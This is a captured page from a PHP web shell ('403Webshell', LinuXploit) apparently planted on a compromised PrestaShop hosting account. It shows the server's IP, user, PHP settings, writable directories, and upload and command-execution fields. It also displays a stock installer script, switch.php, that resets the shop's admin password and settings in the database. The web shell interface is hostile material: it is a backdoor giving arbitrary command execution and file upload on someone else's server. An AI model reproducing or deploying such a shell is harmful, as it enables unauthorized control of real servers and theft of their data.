403Webshell
Server IP : 217.160.0.15  /  Your IP : 216.73.217.105
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : u37981780 ( 1696858)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /homepages/oneclick/Prestashop/1.6.1.4/5/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /homepages/oneclick/Prestashop/1.6.1.4/5/scripts/switch.php
<?php

system("rm -rf $web_dir/cache");
system("cp -rf $package/cache $web_dir");

if ((false === file_exists("$web_dir/.version")) || (file("$web_dir/.version", FILE_IGNORE_NEW_LINES)[0] < '16014')) {
    require_once "$web_dir/config/settings.inc.php";
    $password = md5(_COOKIE_KEY_ . ADMIN_PASSWORD);

    $time = now();

    querySQL("UPDATE `{$db_main_prefix}employee` SET `lastname`        = '$settings_admin_lastname'  WHERE `id_employee`='1'");
    querySQL("UPDATE `{$db_main_prefix}employee` SET `firstname`       = '$settings_admin_firstname' WHERE `id_employee`='1'");
    querySQL("UPDATE `{$db_main_prefix}employee` SET `email`           = '$settings_admin_email'     WHERE `id_employee`='1'");
    querySQL("UPDATE `{$db_main_prefix}employee` SET `passwd`          = '$password'                 WHERE `id_employee`='1'");
    querySQL("UPDATE `{$db_main_prefix}employee` SET `last_passwd_gen` = '$time'                     WHERE `id_employee`='1'");

    querySQL("UPDATE `{$db_main_prefix}shop_url` SET `domain`       = '$base_url_host' WHERE `id_shop_url`='1'");
    querySQL("UPDATE `{$db_main_prefix}shop_url` SET `domain_ssl`   = '$base_url_host' WHERE `id_shop_url`='1'");
    querySQL("UPDATE `{$db_main_prefix}shop_url` SET `physical_uri` = '$base_url_path' WHERE `id_shop_url`='1'");

    querySQL("UPDATE `{$db_main_prefix}configuration` SET `value` = '$base_url_host'      WHERE `name`='PS_SHOP_DOMAIN'");
    querySQL("UPDATE `{$db_main_prefix}configuration` SET `value` = '$base_url_host'      WHERE `name`='PS_SHOP_DOMAIN_SSL'");
    querySQL("UPDATE `{$db_main_prefix}configuration` SET `value` = '$settings_site_name' WHERE `name`='PS_SHOP_NAME'");

    querySQL("UPDATE `{$db_main_prefix}contact` SET `email`='$settings_admin_email' WHERE `id_contact`='1'");
    querySQL("UPDATE `{$db_main_prefix}contact` SET `email`='$settings_admin_email' WHERE `id_contact`='2'");

    querySQL("UPDATE `{$db_main_prefix}shop` SET `name`='$settings_site_name' WHERE `id_shop`='1'");

    Prestashop::activateHtaccess();
} else {
    $language = substr(LOCALE, 0, 2); /* poate da, poate nu */

    require_once "$web_dir/config/settings.inc.php";
    $password = md5(_COOKIE_KEY_ . ADMIN_PASSWORD);

    $time = now();
    Prestashop::disableLanguagesExcept($language); /* poate da, poate nu */
    $id_lang = selectSQL("SELECT `id_lang` FROM `{$db_main_prefix}lang` WHERE `iso_code`='$language';"); /* poate da, poate nu */

    querySQL("UPDATE `{$db_main_prefix}employee` SET `id_lang`         = '$id_lang'                  WHERE `id_employee`='1'"); /* poate da, poate nu */
    querySQL("UPDATE `{$db_main_prefix}employee` SET `lastname`        = '$settings_admin_lastname'  WHERE `id_employee`='1'");
    querySQL("UPDATE `{$db_main_prefix}employee` SET `firstname`       = '$settings_admin_firstname' WHERE `id_employee`='1'");
    querySQL("UPDATE `{$db_main_prefix}employee` SET `email`           = '$settings_admin_email'     WHERE `id_employee`='1'");
    querySQL("UPDATE `{$db_main_prefix}employee` SET `passwd`          = '$password'                 WHERE `id_employee`='1'");
    querySQL("UPDATE `{$db_main_prefix}employee` SET `last_passwd_gen` = '$time'                     WHERE `id_employee`='1'");

    querySQL("UPDATE `{$db_main_prefix}shop_url` SET `domain`       = '$base_url_host' WHERE `id_shop_url`='1'");
    querySQL("UPDATE `{$db_main_prefix}shop_url` SET `domain_ssl`   = '$base_url_host' WHERE `id_shop_url`='1'");
    querySQL("UPDATE `{$db_main_prefix}shop_url` SET `physical_uri` = '$base_url_path' WHERE `id_shop_url`='1'");

    querySQL("UPDATE `{$db_main_prefix}configuration` SET `value` = '$base_url_host'      WHERE `name`='PS_SHOP_DOMAIN'");
    querySQL("UPDATE `{$db_main_prefix}configuration` SET `value` = '$base_url_host'      WHERE `name`='PS_SHOP_DOMAIN_SSL'");
    querySQL("UPDATE `{$db_main_prefix}configuration` SET `value` = '$settings_site_name' WHERE `name`='PS_SHOP_NAME'");
    querySQL("UPDATE `{$db_main_prefix}configuration` SET `value` = '$id_lang'            WHERE `name`='PS_LANG_DEFAULT'"); /* poate da, poate nu */

    querySQL("UPDATE `{$db_main_prefix}contact` SET `email`='$settings_admin_email' WHERE `id_contact`='1'");
    querySQL("UPDATE `{$db_main_prefix}contact` SET `email`='$settings_admin_email' WHERE `id_contact`='2'");

    querySQL("UPDATE `{$db_main_prefix}shop` SET `name`='$settings_site_name' WHERE `id_shop`='1'");

    Prestashop::activateHtaccess();
}

Youez - 2016 - github.com/yon3zu
LinuXploit